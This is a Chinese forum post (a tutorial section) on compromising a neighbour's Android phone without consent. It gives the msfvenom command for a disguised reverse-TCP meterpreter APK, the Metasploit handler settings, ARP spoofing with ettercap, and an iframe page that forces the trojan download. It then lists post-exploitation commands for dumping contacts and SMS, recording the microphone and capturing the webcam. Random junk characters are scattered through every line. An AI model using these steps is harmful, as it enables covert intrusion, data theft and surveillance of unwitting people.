|
% c) H7 j, @" }% g 五、msf+ettercap入侵邻居安卓手机 S& `9 e, W1 i7 a* U% U7 }
$ D/ M& C% P2 t$ O! F7 X3 k- p; Q [$ S1 e2 @
首先启动msf
1 {/ v ?- } F3 c' J( B% [- \/ n ) O" K% K6 x1 A/ X
1 i% j z) r- e% _
先用kali生成一个安卓木马，如下命令： " f) @$ r* A& z/ }9 Z0 j
2 h/ b2 {' g# L8 m) i
# j, c/ M. g2 j7 D4 [
Msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=44444 -o ~/Desktop/ribenav.apk
+ [9 q# h0 R5 @' Z
4 Q4 @; t' y% M2 [4 @+ R( ?. w/ v+ R: T) W6 ^% b+ n
 为了能让对方下载以后安装我这里将马的名字命名为ribenav.apk,哈哈邻居可是个“大色鬼”，就不适用替换下载的方法了，据我所知，邻居频繁使用手机浏览器浏览新闻
q4 B3 o" b. u) u$ J! u2 E 5 p) y6 J1 N# i- q* u7 ~ C
3 [' j2 k9 p& x# r: Y; `8 J
然后进入msf
# m% G% N% Z2 S- ]$ I 6 B* m" D" Q k+ ~+ [! g6 E. |/ M
# c& K0 D: j8 S* @" \
use exploit/multi/handler / [# b+ E0 |; H0 l+ a; s
; U3 ~8 f7 z3 N" E( B' E' o
% k6 l( i% M% m( e- n) h set payload android/meterpreter/reverse_tcp P0 }$ ^& p: N( h1 m# l
- V& @ ]* A) y! ~
0 Q+ a# J% I' ~% v ] set LHOST 192.168.0.109 //ip为kaili的ip * {3 S0 D. {; {7 L1 ?( p
. y- B: R" c% m5 N; h6 l
$ M* c( k7 b- M: Q& W
set LPORT 44444 //端口一定要与前面生成的木马的端口一致
/ o$ S) r0 \. M5 X9 n( L 7 n" a' A3 s) r
& B0 K4 m/ Y- o; X Exploit 9 B* n- X. x2 |
" w$ b3 _8 S* s. |! Y$ C( t% V# g3 q: Y, J: C i
) C' g9 t9 S4 z3 j
" I1 `6 Z1 C# { S
7 @7 ^; Q1 \1 `1 O& D# a9 N- _7 k 下面我们开启ettercap -G
$ Z+ ?" k: s) e" d' n2 C9 z # B: T. v: U) I% W$ o# a
# ^# m5 ~ \* v" |1 _" t 我物理IP为
* r: Y; r1 s5 C. v8 n
$ p9 ^* @ n6 d; H: j' l4 X# d5 ~ q* h8 c; i$ d4 \& Y8 s7 U
 + L* @1 D4 T5 r! w6 ?: [- I) ^; t
1 v% ]2 V4 \' B- |& s0 y
% y4 J1 H- s& H' D( ^ 别到时候再把我物理机欺骗了，之前测试物理机只装腾讯管家是可以成功欺骗的， . c3 K) e7 |3 a3 n
( U0 A! E- S3 w, w) p f
4 |" h1 o3 M% }- b
下面我们来设置一下
, P1 s8 r1 g+ c y! r! d8 E/ @$ R 8 C+ E# W7 N$ ?0 U# \" x5 H
5 F& i6 s( X$ U B5 |
 2 G: K0 \0 {4 \, Q5 J# P5 ~3 `
$ C, V) a, ]* z% b6 o
- h' `1 d$ S T 在开启欺骗之前我们先把生成的apk马丢到kaili var/www/html下，并创建一个index.htm文件内容为：<iframe src=http://192.168.0.109/ribenav.apk></iframe>,因为apk文件嘛要想直接提示下载，用iframe语句就OK了， 0 j2 ^5 a) X, y
1 L- D; C+ ], [. p
5 H) l8 H( K; r2 j1 N$ q
& s: j$ b% Z3 `; }. H; \ 8 i7 [3 T1 n, ]3 Z
" b# j' ~" G4 L- a% s0 X# X2 i0 A4 M  7 u( A; r4 s9 V, G# t
1 Y3 \1 j7 [& V: [
2 i8 O: k7 m( e# R
+ C- V; E, K* z- Q( c/ K+ A; i$ g* ? 5 g C! ]% `+ |6 v+ v/ A9 _. w# i4 u
0 c' G$ k3 Z* M
, b- ?$ a# d% o: Y5 j! d
5 e: u3 v+ G3 u$ X) l
4 h$ d* |+ s& A( C. a
. h& }$ l) P. j/ q
% ?; L" D2 _- l# |$ H8 ~( { ?3 y& @2 ?# [, \* z! g- e
2 O' S- D: x9 T 3 m1 r0 Z0 K7 e
2 N% F; R2 C& N: o# p3 U1 C 9 s; J1 d' V3 _, ]9 _8 K
3 Y }2 p1 g4 L! ]
+ C; J |% n, d
" V8 ~6 d5 Z. { [1 b& B: m2 S
- E6 I2 r3 }; z+ i. z% g0 }8 A
: E- l8 y. v' t6 K 2 `6 e; C5 z0 v! t$ m
. b+ I9 K% \& J
& I! m* r% X( M9 ~# z
4 a1 K. Z- G; o7 N" H5 {* v$ G % A/ N- X. R7 ^# S9 {: l
0 }! k0 m8 _9 J" B # c4 F+ A: |( F4 F6 L: y
# j9 J2 E$ ~( r# _( R/ |+ h
8 t+ r; }% {* r5 l 7 M3 @- E% e2 m/ g
2 y/ C' f h6 J8 P1 I, a( O& r( d. \, x* j+ z; ]( X
 0 r7 J8 R( P5 T: S( G. r
9 g- ~* |& r4 V* i* ^7 _# ?# ~1 ?: Z
3 d) B, N% N- W& \# m* T
下面我们开始攻击 ) x. E% e. f9 x) @. y2 E4 J0 n, H( a
8 m- u* t) d: b! U( ] A/ m: ]' o# N% Z0 H5 q' b3 O
' B* O; U D0 D: W+ J6 u( R' [
`$ L) d0 w4 d5 t: y
$ R4 v5 m p- x( k) d8 R
3 C% L1 u' b7 Q- } 2 X$ ]' _% v4 l) |4 Y1 t6 x% x& M
4 u6 ]! q) r# f
: ?2 B3 S5 q+ P% a% S5 s* E
/ l g) X3 H; R" B7 [
4 |1 h# ?8 d4 i1 j# u 0 K" k4 W/ P* D6 p/ ^' q+ O7 b
- D+ o% M8 ]6 o. s w/ ?6 ~
, P4 V$ U x2 p) K9 p) n 
* c- E; h! N0 q6 c
. `! W$ B! E2 ^9 k, n9 z6 A4 d2 f. F: z* l
大概过了5分钟多，发现反弹成功了
8 y+ r) A8 l. D0 W" _" v
7 f7 ]6 { F# l% c+ z1 }( Y
& d% K( [' M3 E: S0 j
" H5 u- Y( t2 r6 m6 d, ?
& {( W$ i" r' g3 R; C/ u4 |" v D, A; Y6 L1 B* F
% ~: z r7 s( S( N& V
% Y% C8 I6 _) p) C8 P
( c8 y* a' @! X% Q6 o5 @ n ( n! }; u% z, J) x- P! Y
: l/ s; A s) l7 q! p% ~- B+ g
. g% [/ h# V% @" C& q( F8 w( X
' T$ Z x+ y' s0 l8 Q
7 H+ g5 `, R- ^& L+ q4 Q! q. E& \. \# e; n
+ U5 W9 [- `+ K% m
& T% h5 Y, t: B+ K" k0 y L$ T
$ H$ l; n) ^' A0 {7 k* D / z x& w7 ~9 C @
4 g+ {! w ^' f' M% @, C0 ^+ h, G
; g h5 u* m I/ F) c* X9 L  : m) E9 Q, N* H* U: l- J7 O1 n$ D
( W) Z& P, q, T& f6 T3 E3 F
$ p8 X4 C0 i0 e 执行命令 : O8 w. ?5 A/ K! R
* Y7 x- }3 H% a1 _2 M6 {
, @- B3 P6 ?1 I: u
* z! M" f7 X5 n ) N2 q9 @& k8 n3 I
5 A$ l" P2 H2 Z0 K4 G7 Q4 Q
dump_contacts --》这个是导出电话
8 f5 f5 @4 S" ?
( z+ C+ _1 R! s$ A8 u
; E8 e- `. ]8 K( P4 m7 r; L dump_sms --》这个是导出信息 2 [* X3 n! R1 x4 m9 N/ Q Z
0 y4 F- [, a2 Y
, p- H, J2 v7 u) Y, t record_mic Record audio from the default microphone for X seconds
) z3 R* w* {3 o( c' G! _8 m - D' L5 d3 a: Y1 {
, K1 v; `5 Y+ q3 @0 g
webcam_chat Start a video chat - Z0 n* g% Y* F3 F; I
8 x0 G0 O' n1 N! g1 j5 d- S
2 H3 V! u! @* L% Y* R webcam_list List webcams
0 X; F. N6 O: ?3 Q
0 k! s G7 x- L1 @# e* \ F
! n- K {# D( D. t# B& D1 s8 F webcam_snap Take a snapshot from the specified webcam
+ C& P# a& E3 d0 G, K$ a- Z: N; v" ? 3 ^8 t+ Q. \4 R4 J
h0 _; q; i3 @2 e- R0 g1 a webcam_stream  lay a video stream from the specified webcam
9 z( ^' d* D$ N" d+ q* q/ h * N8 t8 \& F* D( R0 x/ ?$ b
* C. n# h/ p* b& @0 y
 $ I' i/ z! q: O- ^8 h+ ~
) Z% g8 W4 d' e, ]
1 U6 D* o' W' |) K5 } 
: P; E9 k. ^( S/ F) M+ f; r# l . \4 n( c! o' S* U5 R$ U- a
( B% Q/ H, `, j4 m4 | @ 我们打开看一下电话薄，
0 C2 T4 T7 s9 ^; S 9 k1 f- d9 L& w0 d
1 Z( P* X. K; t; q" K
0 b; c& ^/ j, t/ ~( B
* Y9 g6 S# g0 Q7 P. |
0 U3 [1 d' J! _8 W% X 
7 F' H3 t+ B/ m5 w" r( X
3 S* K" h8 P8 F9 h, O6 K/ j
2 ~7 j \. U- M3 J- ^* {. n* F / N# g: y6 k l) h& \
5 Q' k) I0 \" h8 l6 ^6 ^8 g- ^1 x% B' x& t5 u* U7 g7 Z
% g3 N/ \$ @& [% F& b) ?& S* D
8 t9 S7 v, U5 r8 W, l9 Z7 e, Y3 |% d. ?: a
, h% o) u/ c, X$ \$ N 4 d) A. S4 w& Y' N A
. ]! E% z' w0 G# x
3 L \) B# n; i) ^3 L. G
7 x3 @( C6 t4 B# F# ~
3 g5 c5 a9 b+ J5 f g! F2 d- h 我们同时欺骗成DroidJack木马，使用方法如图：
: u/ X: s& W0 c* i : E7 L# Q7 {0 u( z
$ h( ^# u( H& p% e( g' @- g 
1 Q# u4 L2 E3 q) H 1 y9 y/ B3 {' `7 h/ ^4 n
; ^$ W ]) g W 3 Y" @0 i7 i" U" F" f
. V0 w' x: f; A/ N6 V
+ p/ _! c( u) R) ^ h0 o# k E8 U 
- z) t$ q" q8 ]. ~6 d ' t$ P Y0 q( J& K7 a; n
' Y) `% T) v1 E: |% m 切记在前面生成完马以后记得在这里选择开关为on，并且对应前面生成马的时候的端口
; G6 Y6 q+ W, k; a4 | ' M! n( Q# I% I5 c
% \9 G: O" m# ^" V 
9 u0 ?* Y- @/ I1 t3 N8 k
1 k9 B: r' a7 H( e1 @, L! }+ B* W: ^& D. I
9 C5 ?! J; i/ |& E: f2 Y
: ^, @% y/ Y$ v$ y9 l. ~! u/ Q: i, G4 U- d
 % F9 G2 I1 C: J) l1 N
# Z! A" r+ Q! z6 E. W6 |) i4 ^* G8 I' L' b
  1 h5 s5 g# v7 Y& p# V1 V8 L
3 C/ S2 } q& C0 u* s
& I& V& o2 |* Y. _+ V( W8 d; j: N
' a/ p2 t$ Q3 j8 j! F: n- y+ q# S1 ` | 
发表于 2018-10-20 20:30:37
收藏
支持
反对